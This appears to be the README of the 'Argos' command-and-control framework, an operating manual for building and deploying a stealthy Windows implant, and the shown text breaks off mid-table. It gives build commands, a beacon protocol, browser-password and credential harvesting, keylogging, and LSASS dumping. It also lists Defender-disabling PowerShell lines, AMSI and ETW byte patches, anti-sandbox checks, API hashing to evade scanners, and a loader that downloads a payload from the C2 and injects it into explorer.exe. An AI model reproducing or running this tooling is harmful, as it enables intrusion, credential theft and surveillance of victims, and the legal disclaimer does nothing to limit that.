d3vhex/Argos

GitHub: d3vhex/Argos

一款开源的高级 C2 框架,为授权红队操作和渗透测试提供加密通信、分阶段载荷投递、区块链备用信道和后渗透管理能力。

Stars: 8 | Forks: 0

# Argos C2 Framework **Advanced Command & Control framework for authorized Red Team operations, threat emulation, and penetration testing.** ## Legal Disclaimer Argos is developed strictly for **educational purposes, ethical hacking, academic research, and authorized Red Team engagements**. By using any part of this framework you explicitly agree: 1. **Authorization** — You have explicit, written permission to test the targeted systems. 2. **Liability Waiver** — Developers assume zero liability for any misuse, damage, or illegal activity. 3. **Legal** — Unauthorized access to computer systems is a federal crime under the CFAA and equivalent international laws. **Hack legally. Hack ethically.** ## Quick Start ### 1 — Start the C2 Server (Docker) cd server cp .env.example .env # Edit .env: set CORS_ORIGINS, MGMT_SECRET, TLS_CN at minimum docker compose up -d | Service | Address | Purpose | |---------|---------|---------| | REST API | `http://localhost:8000` | Operator dashboard backend | | Frontend | `http://localhost:3000` | React dashboard (login here) | | Agent listener | `:8443` | TLS C2 — agents connect here | | Stager | `:8080` | Serves encrypted payload to loader | Default credentials are printed to the listener container log on first boot: docker compose logs listener | grep -E "username|password" ### 2 — Build an Agent Requires: Rust + Cargo (`rustup target add x86_64-pc-windows-gnu`), cross-linker (`mingw-w64`). # Start listener first — it generates AES_KEY_HEX in server/.env cd server && python listener.py & # or use the Docker container # Option A: standalone .exe (simplest) python builder.py \ --name svcupdate \ --host \ --port 8443 # Option B: loader + shellcode (highest stealth) python builder.py \ --name svcupdate \ --host \ --port 8443 \ --loader \ --stager-port 8080 # Option C: with blockchain fallback channel python builder.py \ --name svcupdate \ --host \ --port 8443 \ --blockchain-contract 0xYourContract \ --blockchain-rpc https://sepolia.infura.io/v3/KEY Output: `svcupdate.exe` (Option A/C) or `svcupdate_loader.exe` + `server/payload.enc` (Option B). ### 3 — Deploy Agent & Get a Session Drop the built `.exe` on the target and execute it. Within one beacon interval the agent appears in the dashboard at `http://localhost:3000`. ### 4 — (Optional) Enable Blockchain Relay # Add to server/.env: # BLOCKCHAIN_CONTRACT=0x... # BLOCKCHAIN_RPC=https://sepolia.infura.io/v3/KEY docker compose --profile blockchain up -d Send commands over Ethereum when the TLS channel is blocked: pip install web3 python blockchain_c2/send_command.py \ --rpc https://sepolia.infura.io/v3/KEY \ --private-key 0xOperatorWallet \ --contract 0xYourContract \ --cmd "whoami" ## Table of Contents 1. [Architecture Overview](#1-architecture-overview) 2. [Network Protocol & Cryptography](#2-network-protocol--cryptography) 3. [Authentication & Internal Security](#3-authentication--internal-security) 4. [Agent: Rust Implant](#4-agent-rust-implant) 5. [Defense Evasion](#5-defense-evasion) 6. [Post-Exploitation](#6-post-exploitation) 7. [Builder Pipeline](#7-builder-pipeline) 8. [Server Components](#8-server-components) 9. [Loader Architecture](#9-loader-architecture) 10. [C2 Redirector](#10-c2-redirector) 11. [Blockchain C2 Channel](#11-blockchain-c2-channel) 12. [Configuration Reference](#12-configuration-reference) 13. [Deployment Guide](#13-deployment-guide) ## 1. Architecture Overview ┌─────────────────────────────────────────────────────────────────────┐ │ VICTIM MACHINE │ │ Rust Loader (loader.exe) → injects Donut shellcode │ │ └─ shellcode loads argos_agent.dll → agent_run() loop │ │ ├─ PRIMARY: TLS + AES-256-GCM over TCP (port 8443) │ │ └─ OPTIONAL: Ethereum RPC poll → ArgosBeacon contract │ └────────────────┬────────────────────────────┬───────────────────────┘ │ TLS TCP (port 8443) │ HTTPS eth_getLogs (60s) │ │ ┌──────────▼──────────┐ ┌───────────▼──────────┐ │ listener.py │ │ Ethereum Network │ │ (port 8443) │ │ ArgosBeacon.sol │ │ │ │ (any EVM chain) │ │ stager thread │ └───────────┬──────────┘ │ (port 8080) │ │ eth_getLogs └──────────┬──────────┘ ┌───────────▼──────────┐ │ IPC │ blockchain_relay.py │ ← optional ┌──────────▼──────────┐ │ (Docker profile) │ ← audit log │ management_console │◄─────┤ │ │ .py (port 8000) │ └──────────────────────┘ │ │ └──────────┬──────────┘ │ ┌──────────▼──────────┐ │ SQLite argos.db │ ← WAL mode │ agents / results │ │ events / audit │ │ webhooks / geocache│ └──────────┬──────────┘ │ ┌──────────▼──────────┐ │ React Frontend │ ← TypeScript + Vite │ (port 3000) │ ← 3s polling └─────────────────────┘ ### 1.1 TCP Listener (`server/listener.py`) Multi-threaded raw TCP socket server wrapped in TLS. Spawns a dedicated handler thread per agent connection. Maintains an in-memory agent registry (`dict` + `threading.Lock`) mirrored to SQLite. Handles three socket types: - **Agent socket** (port 8443, TLS): encrypted AES-256-GCM framed JSON messages - **Management socket** (port 5555, plaintext + MGMT_SECRET): internal IPC channel for the REST API - **Stager socket** (port 8080, plain HTTP): serves `payload.enc` to the Rust loader at runtime ### 1.2 REST API (`server/management_console.py`) Async Sanic application. All `/api/*` endpoints require a valid JWT Bearer token. Operator actions are recorded in the `audit_logs` table. | Method | Path | Description | |--------|------|-------------| | `POST` | `/api/login` | Authenticate → JWT | | `GET` | `/api/agents` | Live agent list | | `GET` | `/api/agents/` | Agent detail + hw_info | | `POST` | `/api/task` | Queue command for agent | | `POST` | `/api/broadcast` | Send command to all agents | | `GET` | `/api/results/` | Command output history | | `GET` | `/api/events/` | Agent event log | | `DELETE` | `/api/results/` | Clear result history | | `POST` | `/api/files/ls` | Remote directory listing | | `POST` | `/api/files/download` | Remote file download (≤100MB) | | `GET` | `/api/geo/` | GeoIP lookup (cached) | | `GET` | `/api/commands` | Available command catalog | | `GET/POST/DELETE/PATCH` | `/api/webhooks` | Discord/Telegram webhooks | | `GET` | `/api/stats` | Dashboard statistics | | `POST` | `/api/settings/password` | Change admin password | ### 1.3 SQLite Database (`server/modules/db.py`) WAL journal mode, `PRAGMA synchronous=NORMAL`. Thread-local connections via `threading.local`. | Table | Key Columns | Notes | |-------|-------------|-------| | `agents` | id, ip, hostname, user_name, system, hw_info, sleep_interval | hw_info = JSON blob | | `results` | agent_id, cmd, output, ts | Indexed on agent_id + ts | | `events` | agent_id, type, payload, ts | connect/register/beacon/result/disconnect | | `audit_logs` | username, agent_id, action, target, ts | Immutable operator log | | `geo_cache` | ip, data, ts | Avoids redundant external lookups | | `webhooks` | label, url, enabled, created_at | Discord or Telegram URLs only | ### 1.4 React Frontend (`frontend/`) TypeScript SPA built with Vite and React Router. Polls the API every 3 seconds. **Views:** - **Dashboard** — Live agent list: OS emoji, hostname, user, IP, last-seen delta - **Agent Detail** — Terminal, File Manager, Keylogger stream, Screenshot viewer, Injection panel, Post-exploitation panel - **Webhooks** — Manage Discord/Telegram notification URLs ## 2. Network Protocol & Cryptography ### 2.1 Agent-Server Framing Every transmission uses a **newline-terminated ASCII length-prefix**: "\n" Hard cap: **50 MB** per message. ### 2.2 AES-256-GCM Encryption Wire format: `base64( IV[16] || TAG[16] || CIPHERTEXT )` iv = os.urandom(16) # fresh per-message cipher = Cipher(AES(key), GCM(iv)) ciphertext = encryptor.update(data) + encryptor.finalize() tag = encryptor.tag # 16-byte auth tag **Key lifecycle:** 1. Server generates `AES_KEY_HEX = secrets.token_hex(32)` on first boot → persists to `server/.env` 2. `builder.py` reads it → generates `rust_agent/src/config.rs` at build time 3. Config file is deleted after compilation ### 2.3 Transport Security (TLS) All agent-to-server traffic is wrapped in TLS. Certificate is auto-generated: TLS_CN=update.windows.com # mimics legitimate Microsoft traffic TLS_ORG=IT Solutions TLS_STATE=London ### 2.4 Beacon Loop Agent Server │── TLS handshake ───────────────────────►│ │◄─ {"type": "hello"} ───────────────────│ │── {"type": "register", sysinfo...} ───►│ ← full recon on first connect │ │ │ ┌─── loop ──────────────────────────┐│ │ │── {"type": "beacon", keylog...} ──►││ │ │◄─ {"type": "task", cmd, file_op} ──││ │ │── {"type": "result", output...} ──►││ (if cmd) │ │── {"type": "file_result", data} ──►││ (if file_op) │ │ sleep(beacon_interval) ││ │ └────────────────────────────────────┘│ ## 3. Authentication & Internal Security ### 3.1 API Authentication (JWT) JWT secret: auto-generated `secrets.token_hex(32)`, persisted to `.env`. Token expiry: **24 hours**. ### 3.2 Management IPC Authentication Every message from `management_console.py → listener.py` carries `{"secret": "", ...}`. Management socket binds to `127.0.0.1` only. ### 3.3 Audit Logging INSERT INTO audit_logs (username, agent_id, action, target, ts) Every operator action is permanently recorded. ## 4. Agent: Rust Implant The Rust agent (`rust_agent/`) is a native Windows binary — no Python dependency, small binary footprint, harder static analysis surface. ### 4.1 Module Structure rust_agent/src/ ├── main.rs ← Binary entry point (direct deployment) ├── lib.rs ← cdylib entry point (loader / Donut mode) ├── config.rs ← Generated by builder (AES key, host, port, interval, blockchain) ├── crypto.rs ← AES-256-GCM encrypt/decrypt ├── protocol.rs ← Length-prefixed framing + TLS send/recv ├── blockchain.rs ← Ethereum dead-drop C2 channel (optional) ├── stealth.rs ← VM detection, persistence, process masking, agent ID ├── evasion.rs ← Sandbox detection, AV disable, obfuscated sleep ├── sysinfo.rs ← System info collection (orchestrator) ├── hardware.rs ← CPU, RAM, GPU, disks, network interfaces ├── netrecon.rs ← ARP, connections, saved WiFi, shares ├── sysrecon.rs ← Processes, services, installed software ├── credrecon.rs ← Credential harvesting ├── browser_dump.rs ← Browser password extraction (DPAPI) ├── keylogger.rs ← GetAsyncKeyState polling keylogger (10ms) ├── screenshot.rs ← Screen capture ├── fileops.rs ← ls/download handlers ├── injection.rs ← NTAPI shellcode injection └── post_exploitation.rs ← LSASS, token impersonation, timestomping ### 4.2 Dual Compilation Targets **Binary (`main.rs`):** Standard Windows executable — `#![windows_subsystem = "windows"]`, no console window. **cdylib (`lib.rs`):** Exports a single `run()` function called by Donut after DLL load: #[no_mangle] pub extern "C" fn run() { agent_run(); // blocks forever — Donut thread stays alive } Why `run()` not `DllMain`: overriding `DllMain` in Rust cdylib bypasses Rust's own `DllMain` which initializes the runtime (allocator, panic handler, TLS). Donut calls `run()` AFTER the DLL is mapped and the Rust runtime is fully initialized. ### 4.3 Reconnaissance `collect_sysinfo()` runs collectors in parallel via `ThreadPoolExecutor`: | Category | Data Collected | |----------|---------------| | **Identity** | hostname, current user | | **Network** | External IPv4/IPv6, MAC, local interfaces, WiFi SSID/BSSID/signal | | **Hardware** | CPU (cores/freq/%), RAM, GPU, Disks, Screen resolution | | **OS** | Architecture, OS release/version, uptime, domain info, logged users, env vars | | **Security** | Antivirus (WMI + process), EDR (CrowdStrike, SentinelOne, Cortex, Elastic, etc.), Admin status, Integrity level | | **Network Recon** | ARP table, active connections, listening ports, DNS servers, proxy, routing table, firewall, saved WiFi + passwords, network shares | | **System Recon** | Running processes, Windows services, installed software, scheduled tasks, startup items, local users, hotfixes, clipboard, USB, recent files | | **Credentials** | SSH keys, AWS/Azure/GCP credentials, Windows Credential Manager, browser passwords (Chrome/Edge/Brave via DPAPI), browser history (300 URLs), sensitive file scan | ### 4.4 Browser Password Extraction (`browser_dump.rs`) Local State (JSON) └─ os_crypt.encrypted_key └─ base64 → strip "DPAPI" prefix → CryptUnprotectData() → master_key (AES-256) Login Data (SQLite, copied to %TEMP% to bypass browser lock) └─ logins: origin_url, username_value, password_value ├─ v10/v11 prefix → AES-GCM decrypt(master_key, iv=enc[3:15], ct=enc[15:]) └─ legacy → CryptUnprotectData() directly Supported: Chrome, Edge, Brave (all profiles 0-5). ### 4.5 Keylogger (`keylogger.rs`) `GetAsyncKeyState` polling at 10ms on a background thread. `Arc>>` shared buffer. **Peek/Confirm pattern** prevents data loss: let keylog = keylogger.peek(); // read without clearing send_beacon(&keylog); // transmit keylogger.confirm(); // clear ONLY after successful send ### 4.6 Agent Commands | Command | Description | |---------|-------------| | `screenshot` | Screen capture → base64 JPEG (in-memory) | | `persist` / `unpersist` | Registry Run key persistence | | `portscan [subnet]` | LAN scan (auto /24, 200 threads, 400ms timeout) | | `lsass_dump` | Dump lsass.exe (admin required) | | `impersonate` | Steal SYSTEM token from winlogon.exe | | `timestomp ` | Copy NTFS timestamps from ref to target | | `shellcode ` | In-process shellcode via NTAPI | | `inject ` | Remote shellcode injection via NTAPI | | `_sleep ` | Change beacon interval dynamically | | `hardware_recon` | Full hardware report | | `net_recon` | Full network report | | `sys_recon` | Full system report | | `cred_recon` | Full credential harvest | | `dump_passwords` | Browser saved passwords (DPAPI) | | `` | Execute via subprocess (30s timeout) | ## 5. Defense Evasion ### 5.1 VM & Sandbox Detection (`stealth.rs`, `evasion.rs`) | Check | Trigger | |-------|---------| | CPU core count | `< 4` | | Physical RAM | `< 3.5 GB` | | MAC address prefix | VMware `00:0c:29`, VirtualBox `08:00:27`, Hyper-V `00:15:5d`, QEMU `52:54:00` | | Sleep timing | `GetTickCount64` before/after 1s sleep; fast-forward `< 900ms` → exit | | Registry keys | VMware Tools, VirtualBox Guest Additions, Hyper-V params | | WMI manufacturer | vmware/virtualbox/qemu/hyper-v/parallels/bochs | | Running processes | `vmtoolsd.exe`, `vboxservice.exe`, `xenservice.exe`, etc. | | CPUID hypervisor bit | Bit 31 of ECX in CPUID leaf 1 | All checks result in silent `process::exit(0)` before any payload activity. ### 5.2 Obfuscated Sleep // NtDelayExecution variant — avoids Sleep() which sandboxes fast-forward let interval = -10_000_000i64 * seconds as i64; // 100ns units ntdll::NtDelayExecution(false, &interval); let elapsed = GetTickCount64() - start; if elapsed < (seconds * 1000) - 500 { process::exit(0); // sandbox accelerated our sleep } ### 5.3 AV Disable If running as Administrator, disables Defender real-time monitoring and adds the executable directory to exclusions: Set-MpPreference -DisableRealtimeMonitoring $true Add-MpPreference -ExclusionPath '' Runs hidden (`CREATE_NO_WINDOW`). ### 5.4 Persistence (`stealth.rs`) | OS | Method | Key/Path | |----|--------|---------| | Windows | Registry Run key | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` → `WindowsDefenderService` | | Linux | crontab | `@reboot >> /dev/null 2>&1` | | macOS | LaunchAgent | `~/Library/LaunchAgents/com.apple.cfprefsd.helper.plist` | ### 5.5 Persistent Agent ID (`stealth.rs`) Agent ID is preserved across restarts in hidden, system-blend paths: | OS | Path | |----|------| | Windows | `%APPDATA%\Microsoft\Windows\Themes\.cache_cfg` | | macOS | `~/Library/Preferences/.cfpref` | | Linux | `~/.cache/.fontconfig_dat` | File marked hidden on Windows via `SetFileAttributesW(..., FILE_ATTRIBUTE_HIDDEN)`. ## 6. Post-Exploitation ### 6.1 NTAPI Shellcode Injection (`injection.rs`) Bypasses kernel32 user-mode hooks by calling ntdll directly: NtAllocateVirtualMemory(process, &addr, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) NtWriteVirtualMemory(process, addr, shellcode_bytes, len, NULL) NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, process, addr, ...) **Self-injection** (`ProcessHandle = -1`): runs shellcode in the current process. **Remote injection** (`inject `): `OpenProcess(PROCESS_ALL_ACCESS, pid)` → inject into target. ### 6.2 LSASS Dump (`post_exploitation.rs`) let h_process = OpenProcess(PROCESS_ALL_ACCESS, lsass_pid); MiniDumpWriteDump(h_process, lsass_pid, h_file, MiniDumpWithFullMemory, ...); Parse offline with Mimikatz (`sekurlsa::minidump lsass.dmp`) or pypykatz. ### 6.3 Token Impersonation (`post_exploitation.rs`) let h_token = OpenProcessToken(winlogon_handle, TOKEN_DUPLICATE | TOKEN_QUERY); let h_dup = DuplicateTokenEx(h_token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenPrimary); ImpersonateLoggedOnUser(h_dup); ### 6.4 Timestomping (`post_exploitation.rs`) Copies `$STANDARD_INFORMATION` FILETIME attributes from a legitimate system DLL to the payload via `SetFileTime`. ## 7. Builder Pipeline ### 7.1 Full Build Flow server/.env → AES_KEY_HEX │ ▼ create_agent_config() → rust_agent/src/config.rs (AES key, host, port, interval) │ ▼ cargo build --release (rust_agent, x86_64-pc-windows-gnu) → rust_agent.exe (--no-loader path) → argos_agent.dll (--loader path) │ ▼ (--loader only) donut.exe -f 1 -m run argos_agent.dll → payload.bin │ ▼ RC4-encrypt(payload.bin, random_16B_key) → server/payload.enc ← served at runtime by stager thread │ generate loader/src/key.rs ← only 16-byte RC4 key + C2 host + stager port │ ▼ LITCRYPT_ENCRYPT_KEY= cargo build --release (loader) → _loader.exe │ ▼ cleanup: config.rs / key.rs / payload.bin deleted ### 7.2 Builder CLI Reference # Rust agent (direct deployment) python builder.py \ --name svcupdate \ --host 192.168.1.50 \ --port 8443 \ --interval 10 # Rust agent + Loader (full stealth pipeline) python builder.py \ --name svcupdate \ --host 192.168.1.50 \ --port 8443 \ --loader \ --stager-port 8080 | Flag | Default | Description | |------|---------|-------------| | `--name` | `argos_agent` | Output executable name | | `--host` | `127.0.0.1` | C2 listener host/IP | | `--port` | `8443` | C2 listener port | | `--interval` | `5` | Beacon interval (seconds) | | `--loader` | off | Enable Rust evasion loader pipeline | | `--stager-port` | `8080` | HTTP port stager serves payload.enc on | | `--blockchain-contract` | *(disabled)* | ArgosBeacon contract address — enables blockchain dead-drop channel | | `--blockchain-rpc` | *(disabled)* | Ethereum JSON-RPC URL (e.g. `https://sepolia.infura.io/v3/KEY`) | ## 8. Server Components ### 8.1 Webhook Notifications (`server/modules/webhook.py`) Fires on agent registration and stale detection. Discord (rich embed) and Telegram (Bot API) supported. URL validation: only `discord.com/api/webhooks/` or `api.telegram.org/bot` prefixes accepted. Each notification fires on a daemon thread. ### 8.2 GeoIP Cache `/api/geo/` → queries `ipwho.is` (fallback: `ip-api.com`). Results cached indefinitely in `geo_cache` table. Returns: country, region, city, ISP, ASN, lat/lon, timezone. ### 8.3 HTTP Stager (`listener.py — handle_stager()`) Plain HTTP server on `STAGER_PORT` (default 8080). Serves a single endpoint: GET /d/p → 200 OK Content-Type: application/octet-stream [payload.enc bytes] Every other path returns 404. The loader downloads this at runtime, RC4-decrypts it with the key baked into the binary, and injects the resulting Donut shellcode. ## 9. Loader Architecture ### 9.1 High-Level Execution Flow main() ├─ fake_init() │ ├─ RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion) │ │ └─ RegQueryValueExW(ProductName) │ ├─ RegOpenKeyExW(HKLM\SOFTWARE\...\Policies\System) │ │ └─ RegQueryValueExW(EnableLUA) │ ├─ RegOpenKeyExW(HKLM\SOFTWARE\...\WindowsUpdate) │ │ └─ RegQueryValueExW(WUServer) │ ├─ GetComputerNameW() │ ├─ GetTempPathW() │ ├─ CreateMutexW("Global\MicrosoftUpdateSessionManager_7af3b") │ └─ Sleep(120ms) │ ├─ is_sandbox() → silent return if true │ ├─ GetSystemInfo(): CPU cores < 2 │ ├─ GlobalMemoryStatusEx(): RAM < 2 GB │ ├─ GetSystemMetrics(SM_CXSCREEN): width < 800 │ ├─ USERNAME: "sandbox","malware","analyst","cuckoo","analysis","virus","john" │ └─ count_processes() < 50 │ ├─ patch_amsi() │ └─ PEB → amsi.dll → AmsiScanBuffer │ VirtualProtect(RWX) → [0x31,0xC0,0xC3] → restore │ (xor eax,eax; ret = AMSI_RESULT_CLEAN) │ ├─ patch_etw() │ └─ PEB → ntdll.dll → EtwEventWrite │ VirtualProtect(RWX) → [0xC3] → restore │ (ret = all ETW events discarded) │ ├─ download_payload() │ ├─ LoadLibraryA("winhttp.dll") [LoadLibraryA itself via PEB] │ ├─ Resolve 8 WinHTTP functions via PEB export walk │ ├─ WinHttpOpen → WinHttpConnect → WinHttpOpenRequest │ ├─ WinHttpSendRequest → WinHttpReceiveResponse │ ├─ WinHttpQueryDataAvailable + WinHttpReadData loop │ └─ rc4_decrypt(data, RC4_KEY) → raw Donut shellcode │ ├─ find_process("explorer.exe") → PID via Toolhelp32 snapshot │ ├─ inject_remote(pid, shellcode) │ ├─ OpenProcess(VM_WRITE | VM_OPERATION | CREATE_THREAD, pid) │ ├─ VirtualAllocEx → PAGE_READWRITE │ ├─ WriteProcessMemory │ ├─ VirtualProtectEx → PAGE_EXECUTE_READ │ └─ CreateRemoteThread [all 5 APIs via PEB — absent from IAT] │ ├─ self_delete() │ └─ MoveFileExW(exe, NULL, MOVEFILE_DELAY_UNTIL_REBOOT) │ └─ self_inject(shellcode) [fallback: no explorer / low privileges] ├─ VirtualAlloc → PAGE_READWRITE ├─ memcpy ├─ VirtualProtect → PAGE_EXECUTE_READ └─ CreateThread → WaitForSingleObject(INFINITE) ### 9.2 PEB Walking — API Resolution Without Imports **Zero Windows API functions appear in the binary's IAT.** Every function pointer is resolved at runtime by walking the Process Environment Block. #### Why the IAT matters Static AV scanners read the **Import Directory** to see which DLLs and functions a binary uses. A binary importing `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread` is immediately flagged as a process injector. With PEB walking the IAT contains only Rust runtime entries — indistinguishable from any other Rust Windows binary. #### PEB structure (x86-64) gs:[0x60] → PEB │ ├─ [+0x18] PEB_LDR_DATA* (Ldr) │ └─ [+0x20] InMemoryOrderModuleList (LIST_ENTRY) ├─ ntdll.dll ├─ kernel32.dll ├─ kernelbase.dll └─ ... (all loaded modules) LDR_DATA_TABLE_ENTRY (via InMemoryOrderModuleList flink) [+0x30] DllBase pointer to module base [+0x58] BaseDllName.Length byte count of wide string [+0x60] BaseDllName.Buffer pointer to wide name string Offsets `0x30 / 0x58 / 0x60` are relative to the flink, not the entry base — code adjusts by `sub(0x10)`. #### FNV-1a API Hashing Every API is identified by a **32-bit FNV-1a hash computed at compile time** — no function name strings in the binary: pub const fn hash_str(s: &[u8]) -> u32 { let mut h: u32 = 0x811c9dc5; let mut i = 0usize; while i < s.len() { let b = s[i]; let c = if b >= b'A' && b <= b'Z' { b + 32 } else { b }; // lowercase h ^= c as u32; h = h.wrapping_mul(0x01000193); i += 1; } h } // Evaluated at compile time — binary contains u32 constants, not strings pub const H_VIRTUAL_ALLOC_EX: u32 = hash_str(b"VirtualAllocEx"); pub const H_WRITE_PROCESS_MEMORY: u32 = hash_str(b"WriteProcessMemory"); pub const H_CREATE_REMOTE_THREAD: u32 = hash_str(b"CreateRemoteThread"); // ... 30+ more #### PE Export Table Walking DllBase ├─ [+0x3C] e_lfanew → NT Headers └─ OptionalHeader → DataDirectory[0] └─ IMAGE_EXPORT_DIRECTORY ├─ NumberOfNames ├─ AddressOfNames → RVA array of name strings ├─ AddressOfOrdinals → ordinal index array └─ AddressOfFunctions → RVA array of function addrs For each `i` in `0..NumberOfNames`: hash `AddressOfNames[i]` → compare → return `base + AddressOfFunctions[AddressOfOrdinals[i]]`. Identical to `GetProcAddress` internally — but without ever calling `GetProcAddress`. ### 9.3 Staged Payload Delivery The shellcode is **never embedded in the loader binary**. | What | Location | Transport | |------|----------|-----------| | Donut shellcode (RC4 encrypted) | `server/payload.enc` | HTTP `GET /d/p` at runtime | | RC4 key (16 bytes) | Baked into loader at compile time | — | | C2 host + stager port | Baked into loader at compile time | — | **Why staged:** - An embedded shellcode blob (hundreds of KB, high entropy) is immediately suspicious to entropy scanners. - The loader binary contains only 16 bytes of RC4 key — entropy indistinguishable from any Rust binary. - Payload is downloaded only after sandbox checks pass — no suspicious data in the binary at all. **RC4** — same algorithm in Python (builder encrypts) and Rust (loader decrypts): KSA: for i in 0..256: j=(j+S[i]+key[i%len])%256; swap(S[i],S[j]) PRGA: i=(i+1)%256; j=(j+S[i])%256; swap(S[i],S[j]); out ^= S[(S[i]+S[j])%256] WinHTTP is loaded dynamically — `winhttp.dll` and all 8 WinHTTP functions are absent from the IAT. ### 9.4 AMSI Patch `AmsiScanBuffer` is the function Windows calls to submit content to the AMSI provider. Patching it makes every scan return clean. **Old (well-known, heavily signatured):** 0xB8 0x57 0x00 0x07 0x80 mov eax, 0x80070057 ; E_INVALIDARG 0xC3 ret **Current (less common, same effect):** 0x31 0xC0 xor eax, eax ; eax = 0 = AMSI_RESULT_CLEAN 0xC3 ret Patch steps: 1. `LoadLibraryA("amsi.dll")` via PEB-resolved pointer 2. `peb::get_func(h_amsi, H_AMSI_SCAN_BUFFER)` — export table walk 3. `VirtualProtect(p_scan, 3, PAGE_EXECUTE_READWRITE, &old)` 4. Write 3 bytes 5. `VirtualProtect(p_scan, 3, old, &old)` — restore permissions ### 9.5 ETW Patch `EtwEventWrite` is the function that writes ETW events to the kernel logger. A single `ret` at the start discards all events before they reach the kernel. 0xC3 ret Same patch pattern as AMSI: PEB-resolve → VirtualProtect(RWX) → write → restore. ### 9.6 Anti-Sandbox Checks All checks run at startup before any suspicious activity. Silent `return` from `main()` on any hit. | Check | Threshold | API | |-------|-----------|-----| | CPU core count | `< 2` | `GetSystemInfo` → `dwNumberOfProcessors` | | Physical RAM | `< 2 GB` | `GlobalMemoryStatusEx` → `ullTotalPhys` | | Screen width | `< 800 px` | `GetSystemMetrics(SM_CXSCREEN)` | | Running process count | `< 50` | `CreateToolhelp32Snapshot` + loop | | Username | contains "sandbox","malware","analyst","cuckoo","analysis","virus","john" | `std::env::var("USERNAME")` | All APIs resolved via PEB — none appear in the IAT. ### 9.7 Remote Process Injection Target: `explorer.exe` — always running, trusted, unremarkable memory activity. Memory permission sequence — **RW → write → RX**, never W+X simultaneously: VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) │ allocate RW — writing directly to RX triggers write-copy hooks in EDRs WriteProcessMemory(hProc, remote, shellcode, size) │ copy bytes into RW region VirtualProtectEx(hProc, remote, size, PAGE_EXECUTE_READ) │ flip to RX — region no longer writable CreateRemoteThread(hProc, NULL, 0, remote, NULL, 0, NULL) └─ thread executes Donut shellcode inside explorer.exe All 5 injection APIs (`OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `VirtualProtectEx`, `CreateRemoteThread`) are resolved via PEB — **absent from the binary's IAT**. ### 9.8 Self-Injection Fallback If `explorer.exe` is not found or `OpenProcess` fails (insufficient privileges): VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) memcpy(mem, shellcode, size) VirtualProtect(mem, size, PAGE_EXECUTE_READ) CreateThread(NULL, 0, mem, NULL, 0, NULL) WaitForSingleObject(thread, INFINITE) Same RW → RX pattern. All APIs via PEB. ### 9.9 Self-Deletion After injection, the loader schedules its own deletion: MoveFileExW(exe_path, NULL, MOVEFILE_DELAY_UNTIL_REBOOT) `MOVEFILE_DELAY_UNTIL_REBOOT` (`0x4`) instructs the kernel to delete the file during the next boot sequence — before the filesystem is fully mounted, so no process can hold it open. Requires admin privileges; silently skipped otherwise. ### 9.10 Fake Initialization (ML Profile Shifting) Modern AV engines use **ML models** trained on structural features of benign software. A binary that immediately allocates memory and injects is structurally unlike legitimate Windows utilities. `fake_init()` runs at the very start of `main()` and performs actions identical to what a Windows Update client does: // Plain strings — intentionally NOT wrapped in lc!() // They appear readable in the binary. ML models trained on benign software // expect to see registry paths and version strings — not just encrypted noise. const REG_KEY_VERSION: &str = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\0"; const REG_VAL_PRODUCT: &str = "ProductName\0"; const REG_KEY_POLICIES: &str = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\0"; const REG_VAL_UAC: &str = "EnableLUA\0"; const REG_KEY_UPDATE: &str = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\0"; const REG_VAL_WSUS: &str = "WUServer\0"; const MUTEX_NAME: &str = "Global\\MicrosoftUpdateSessionManager_7af3b\0"; const APP_VERSION: &str = "Microsoft Update Health Tools 4.1.0.0\0"; const PUBLISHER: &str = "Microsoft Corporation\0"; const UPDATE_URL: &str = "https://update.microsoft.com/windowsupdate/v6/default.aspx\0"; | Action | Why Legitimate Software Does This | |--------|----------------------------------| | Read `HKLM\...\CurrentVersion\ProductName` | Every updater reads OS version before running | | Read `HKLM\...\Policies\System\EnableLUA` | Privilege-checking before requesting elevation | | Read `HKLM\...\WindowsUpdate\WUServer` | Update client checks configured WSUS server | | `GetComputerNameW()` | Any network-aware app reads hostname at init | | `GetTempPathW()` | Any app that writes logs/cache reads `%TEMP%` | | `CreateMutexW("Global\MicrosoftUpdate...")` | Single-instance guard — standard update client pattern | | `Sleep(120ms)` | Startup delay while waiting for services | The mutex handle is intentionally not closed — it stays open for the process lifetime, exactly as real single-instance guards behave. **Why unobfuscated strings:** `lc!()` encrypts strings to XOR noise. If every string is encrypted noise, ML models (trained on benign software which has readable strings) score the binary lower. Plain registry paths and mutex names shift the static profile toward legitimate software. ### 9.11 String Obfuscation (litcrypt) Operationally sensitive strings are wrapped with `lc!()`: let amsi_str = CString::new(lc!("amsi.dll")).unwrap(); let ua = to_wide(lc!("Mozilla/5.0 (Windows NT 10.0; Win64; x64)...").as_str()); let bad_users = [lc!("sandbox"), lc!("analyst"), lc!("cuckoo"), ...]; `lc!()` expands to an XOR-encrypted byte array at compile time, decrypted only at runtime. `LITCRYPT_ENCRYPT_KEY` is randomized per build — every compiled binary has unique ciphertext. ### 9.12 Compiler Flags [profile.release] opt-level = "z" # size optimization — smaller binary, fewer detectable code patterns lto = true # link-time optimization — eliminates dead code across crates codegen-units = 1 # single codegen unit — better LTO, less predictable section layout panic = "abort" # no unwinding tables in binary strip = true # remove debug symbols and section name strings `#![windows_subsystem = "windows"]` — no console window. Binary runs completely silently. ### 9.13 IAT Before vs After | API | Old loader (winapi crate) | Current loader | |-----|--------------------------|----------------| | `VirtualAllocEx` | Static import | PEB hash at runtime | | `WriteProcessMemory` | Static import | PEB hash | | `CreateRemoteThread` | Static import | PEB hash | | `OpenProcess` | Static import | PEB hash | | `VirtualAlloc` | Static import | PEB hash | | `CreateThread` | Static import | PEB hash | | `VirtualProtect` / `VirtualProtectEx` | Static import | PEB hash | | `WaitForSingleObject` | Static import | PEB hash | | `CreateToolhelp32Snapshot` | Static import | PEB hash | | `Process32First` / `Process32Next` | Static import | PEB hash | | `GetSystemInfo` | Static import | PEB hash | | 